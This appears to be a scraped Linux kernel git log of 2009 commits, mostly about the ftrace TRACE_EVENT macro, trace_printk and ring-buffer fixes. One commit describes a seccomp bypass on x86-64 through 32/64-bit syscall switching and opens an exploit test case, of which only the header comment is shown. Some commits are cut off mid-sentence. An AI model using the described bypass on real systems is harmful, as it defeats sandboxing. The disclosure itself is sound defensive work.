11 years agotracing: new format for specialized trace points
Steven Rostedt [Mon, 9 Mar 2009 21:14:30 +0000]
tracing: new format for specialized trace points

Impact: clean up and enhancement

The TRACE_EVENT_FORMAT macro looks quite ugly and is limited in its
ability to save data as well as to print the record out. Working with
Ingo Molnar, we came up with a new format that is much more pleasing to
the eye of C developers. This new macro is more C style than the old
macro, and is more obvious to what it does.

Here's the example. The only updated macro in this patch is the
sched_switch trace point.

The old method looked like this:

 TRACE_EVENT_FORMAT(sched_switch,
        TP_PROTO(struct rq *rq, struct task_struct *prev,
                struct task_struct *next),
        TP_ARGS(rq, prev, next),
        TP_FMT("task %s:%d ==> %s:%d",
              prev->comm, prev->pid, next->comm, next->pid),
        TRACE_STRUCT(
                TRACE_FIELD(pid_t, prev_pid, prev->pid)
                TRACE_FIELD(int, prev_prio, prev->prio)
                TRACE_FIELD_SPECIAL(char next_comm[TASK_COMM_LEN],
                                    next_comm,
                                    TP_CMD(memcpy(TRACE_ENTRY->next_comm,
                                                 next->comm,
                                                 TASK_COMM_LEN)))
                TRACE_FIELD(pid_t, next_pid, next->pid)
                TRACE_FIELD(int, next_prio, next->prio)
        ),
        TP_RAW_FMT("prev %d:%d ==> next %s:%d:%d")
        );

The above method is hard to read and requires two format fields.

The new method:

 /*
  * Tracepoint for task switches, performed by the scheduler:
  *
  * (NOTE: the 'rq' argument is not used by generic trace events,
  *        but used by the latency tracer plugin. )
  */
 TRACE_EVENT(sched_switch,

TP_PROTO(struct rq *rq, struct task_struct *prev,
 struct task_struct *next),

TP_ARGS(rq, prev, next),

TP_STRUCT__entry(
__array( char, prev_comm, TASK_COMM_LEN )
__field( pid_t, prev_pid )
__field( int, prev_prio )
__array( char, next_comm, TASK_COMM_LEN )
__field( pid_t, next_pid )
__field( int, next_prio )
),

TP_printk("task %s:%d [%d] ==> %s:%d [%d]",
__entry->prev_comm, __entry->prev_pid, __entry->prev_prio,
__entry->next_comm, __entry->next_pid, __entry->next_prio),

TP_fast_assign(
memcpy(__entry->next_comm, next->comm, TASK_COMM_LEN);
__entry->prev_pid = prev->pid;
__entry->prev_prio = prev->prio;
memcpy(__entry->prev_comm, prev->comm, TASK_COMM_LEN);
__entry->next_pid = next->pid;
__entry->next_prio = next->prio;
)
 );

This macro is called TRACE_EVENT, it is broken up into 5 parts:

 TP_PROTO:        the proto type of the trace point
 TP_ARGS:         the arguments of the trace point
 TP_STRUCT_entry: the structure layout of the entry in the ring buffer
 TP_printk:       the printk format
 TP_fast_assign:  the method used to write the entry into the ring buffer

The structure is the definition of how the event will be saved in the
ring buffer. The printk is used by the internal tracing in case of
an oops, and the kernel needs to print out the format of the record
to the console. This the TP_printk gives a means to show the records
in a human readable format. It is also used to print out the data
from the trace file.

The TP_fast_assign is executed directly. It is basically like a C function,
where the __entry is the handle to the record.

11 years agotracing/core: drop the old trace_printk() implementation in favour of trace_bprintk()
Frederic Weisbecker [Fri, 6 Mar 2009 16:21:49 +0000]
tracing/core: drop the old trace_printk() implementation in favour of trace_bprintk()

Impact: faster and lighter tracing

Now that we have trace_bprintk() which is faster and consume lesser
memory than trace_printk() and has the same purpose, we can now drop
the old implementation in favour of the binary one from trace_bprintk(),
which means we move all the implementation of trace_bprintk() to
trace_printk(), so the Api doesn't change except that we must now use
trace_seq_bprintk() to print the TRACE_PRINT entries.

Some changes result of this:

- Previously, trace_bprintk depended of a single tracer and couldn't
  work without. This tracer has been dropped and the whole implementation
  of trace_printk() (like the module formats management) is now integrated
  in the tracing core (comes with CONFIG_TRACING), though we keep the file
  trace_printk (previously trace_bprintk.c) where we can find the module
  management. Thus we don't overflow trace.c

- changes some parts to use trace_seq_bprintk() to print TRACE_PRINT entries.

- change a bit trace_printk/trace_vprintk macros to support non-builtin formats
  constants, and fix 'const' qualifiers warnings. But this is all transparent for
  developers.

- etc...

- Rebase against last changes
- Fix mispell on the changelog

11 years agovsprintf: unify the format decoding layer for its 3 users
Frederic Weisbecker [Fri, 6 Mar 2009 16:21:50 +0000]
vsprintf: unify the format decoding layer for its 3 users

An new optimization is making its way to ftrace. Its purpose is to
make trace_printk() consuming less memory and be faster.

Written by Lai Jiangshan, the approach is to delay the formatting
job from tracing time to output time.

Currently, a call to trace_printk() will format the whole string and
insert it into the ring buffer. Then you can read it on /debug/tracing/trace
file.

The new implementation stores the address of the format string and
the binary parameters into the ring buffer, making the packet more compact
and faster to insert.
Later, when the user exports the traces, the format string is retrieved
with the binary parameters and the formatting job is eventually done.

The new implementation rewrites a lot of format decoding bits from
vsnprintf() function, making now 3 differents functions to maintain
in their duplicated parts of printf format decoding bits.

Suggested by Ingo Molnar, this patch tries to factorize the most
possible common bits from these functions.
The real common part between them is the format decoding. Although
they do somewhat similar jobs, their way to export or import the parameters
is very different. Thus, only the decoding layer is extracted, unless you see
other parts that could be worth factorized.

Changes in V2:

- Address a suggestion from Linus to group the format_decode() parameters inside
  a structure.

Changes in v3:

- Address other cleanups suggested by Ingo and Linus such as passing the
  printf_spec struct to the format helpers: pointer()/number()/string()
  Note that this struct is passed by copy and not by address. This is to
  avoid side effects because these functions often change these values and the
  changes shoudn't be persistant when a callee helper returns.
  It would be too risky.

- Various cleanups (code alignement, switch/case instead of if/else fountains).

- Fix a bug that printed the first format specifier following a %p

Changes in v4:

- drop unapropriate const qualifier loss while casting fmt to a char *
  (thanks to Vegard Nossum for having pointed this out).

tracing: add format files for ftrace default entries

Impact: allow user apps to read binary format of basic ftrace entries

Currently, only defined raw events export their formats so a binary
reader can parse them. There's no reason that the default ftrace entries

This patch adds a subsystem called "ftrace" in the events directory

These only have three files in the events directory:

 type             : printf
 available_types  : printf
 format           : format for the event entry

For example:

 # cat /debug/tracing/events/ftrace/wakeup/format
name: wakeup
ID: 3
format:
        field:unsigned char type;       offset:0;       size:1;
        field:unsigned char flags;      offset:1;       size:1;
        field:unsigned char preempt_count;      offset:2;       size:1;

Steven Rostedt [Thu, 5 Mar 2009 15:35:56 +0000]
tracing: add tracing_on/tracing_off to kernel.h

Impact: cleanup

The functions tracing_start/tracing_stop have been moved to kernel.h.
These are not the functions a developer most likely wants to use
when they want to insert a place to stop tracing and restart it from
user space.

tracing_start/tracing_stop was created to work with things like
suspend to ram, where even calling smp_processor_id() can crash the
system. The tracing_start/tracing_stop was used to stop the tracer from
doing anything. These are still light weight functions, but add a bit
more overhead to be able to stop the tracers. They also have no interface
back to userland. That is, if the kernel calls tracing_stop, userland
can not start tracing.

What a developer most likely wants to use is tracing_on/tracing_off.
These are very light weight functions (simply sets or clears a bit).
These functions just stop recording into the ring buffer. The tracers
don't even know that this happens except that they would receive NULL
from the ring_buffer_lock_reserve function.

Also, there's a way for the user land to enable or disable this bit.
In debugfs/tracing/tracing_on, a user may echo "0" (same as tracing_off())
or echo "1" (same as tracing_on()) into this file. This becomes handy when
a kernel developer is debugging and wants tracing to turn off when it
hits an anomaly. Then the developer can examine the trace, and restart
tracing if they want to try again (echo 1 > tracing_on).

This patch moves the prototypes for tracing_on/tracing_off to kernel.h
and comments their use, so that a kernel developer will know how
to use them.

tracing/function-graph-tracer: use the more lightweight local clock

Impact: decrease hangs risks with the graph tracer on slow systems

Since the function graph tracer can spend too much time on timer
interrupts, it's better now to use the more lightweight local
clock. Anyway, the function graph traces are more reliable on a

Impact: fix to ftrace_dump output corruption

The commit: b04cc6b1f6398b0e0b60d37e27ce51b4899672ec
  tracing/core: introduce per cpu tracing files

added a new field to the iterator called cpu_file. This was a handle
to differentiate between the per cpu trace output files and the
all cpu "trace" file. The all cpu "trace" file required setting this
to TRACE_PIPE_ALL_CPU.

The problem is that the ftrace_dump sets up its own iterator but was
not updated to handle this change. The result was only CPU 0 printing
out on crash and a lot of "<0>"'s also being printed.

ring-buffer: make ring_buffer_read_page read from start on partial page

Impact: dont leave holes in read buffer page

The ring_buffer_read_page swaps a given page with the reader page
of the ring buffer, if certain conditions are set:

 1) requested length is big enough to hold entire page data

 2) a writer is not currently on the page

 3) the page is not partially consumed.

Instead of swapping with the supplied page. It copies the data to
the supplied page instead. But currently the data is copied in the
same offset as the source page. This causes a hole at the start
of the reader page. This complicates the use of this function.
Instead, it should copy the data at the beginning of the function
and update the index fields accordingly.

Other small clean ups are also done in this patch.

The registering of events had the return value check backwards.
A zero returned is success, the check had it as a failure.

This reverts commit 155b25bcc28631a5b5230191aa3f56c40dfffa3f, which was
totally wrong - the "embedded" options still exists (very much so) even
on non-embedded platforms.

It's just that we don't bother with actually asking about them when
we're not embedded, we just take their default values (which is usually
'y' - the options add features that may not be worth it in a constrained

x86-64: seccomp: fix 32/64 syscall hole

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

/* test case for seccomp circumvention on x86-64

   There are two failure modes: compile with -m64 or compile with -m32.

   The -m64 case is the worst one, because it does "chmod 777 ." (could
   be any chmod call).  The -m32 case demonstrates it was able to do
   stat(), which can glean information but not harm anything directly.

   A buggy kernel will let the test do something, print, and exit 1; a
   fixed kernel will make it exit with SIGKILL before it does anything.

tracing: make CALLER_ADDRx overwriteable

The current definition of CALLER_ADDRx isn't suitable for all platforms.
E.g. for ARM __builtin_return_address(N) doesn't work for N > 0 and
AFAIK for powerpc there are no frame pointers needed to have a working
__builtin_return_address.  This patch allows defining the CALLER_ADDRx
macros in <asm/ftrace.h> and let these take precedence.

Because now <asm/ftrace.h> is included unconditionally in
<linux/ftrace.h> all archs that don't already had this include get an
empty one for free.

11 years agotracing: add TRACE_FIELD_SPECIAL to record complex entries
Steven Rostedt [Mon, 2 Mar 2009 15:53:15 +0000]
tracing: add TRACE_FIELD_SPECIAL to record complex entries

Tom Zanussi pointed out that the simple TRACE_FIELD was not enough to
record trace data that required memcpy. This patch addresses this issue
by adding a TRACE_FIELD_SPECIAL. The format is similar to TRACE_FIELD
but looks like so:

  TRACE_FIELD_SPECIAL(type_item, item, cmd)

What TRACE_FIELD gave was:

  TRACE_FIELD(type, item, assign)

The TRACE_FIELD would be used in declaring a structure:

  struct {
type item;
  };

And later assign it via:

  entry->item = assign;

What TRACE_FIELD_SPECIAL gives us is:

In the declaration of the structure:

  struct {
type_item;
  };

And the assignment:

  cmd;

This change log will explain the one example used in the patch:

 TRACE_EVENT_FORMAT(sched_switch,
TPPROTO(struct rq *rq, struct task_struct *prev,
struct task_struct *next),
TPARGS(rq, prev, next),
TPFMT("task %s:%d ==> %s:%d",
      prev->comm, prev->pid, next->comm, next->pid),
TRACE_STRUCT(
TRACE_FIELD(pid_t, prev_pid, prev->pid)
TRACE_FIELD(int, prev_prio, prev->prio)
TRACE_FIELD_SPECIAL(char next_comm[TASK_COMM_LEN],
    next_comm,
    TPCMD(memcpy(TRACE_ENTRY->next_comm,
 next->comm,
 TASK_COMM_LEN)))
TRACE_FIELD(pid_t, next_pid, next->pid)
TRACE_FIELD(int, next_prio, next->prio)
),
TPRAWFMT("prev %d:%d ==> next %s:%d:%d")
);

 The struct will be create as:

  struct {
pid_t prev_pid;
int prev_prio;
char next_comm[TASK_COMM_LEN];
pid_t next_pid;
int next_prio;
  };

Note the TRACE_ENTRY in the cmd part of TRACE_SPECIAL. TRACE_ENTRY will
be set by the tracer to point to the structure inside the trace buffer.

  entry->prev_pid = prev->pid;
  entry->prev_prio = prev->prio;
  memcpy(entry->next_comm, next->comm, TASK_COMM_LEN);
  entry->next_pid = next->pid;
  entry->next_prio = next->prio

11 years agox86 mmiotrace: fix race with release_kmmio_fault_page()
Pekka Paalanen [Tue, 24 Feb 2009 19:44:15 +0000]
x86 mmiotrace: fix race with release_kmmio_fault_page()

There was a theoretical possibility to a race between arming a page in
post_kmmio_handler() and disarming the page in
release_kmmio_fault_page():

cpu0                             cpu1
------------------------------------------------------------------
mmiotrace shutdown
enter release_kmmio_fault_page
                                 fault on the page
                                 disarm the page
disarm the page
                                 handle the MMIO access
                                 re-arm the page
put the page on release list
remove_kmmio_fault_pages()
                                 fault on the page
                                 page not known to mmiotrace
                                 fall back to do_page_fault()
                                 *KABOOM*

(This scenario also shows the double disarm case which is allowed.)

Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking
if the page is being released from mmiotrace.

Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the
possibility, that the page was not present when it was armed.

Make arm_kmmio_fault_page() store the previous page presence in struct
kmmio_fault_page and use it on disarm.
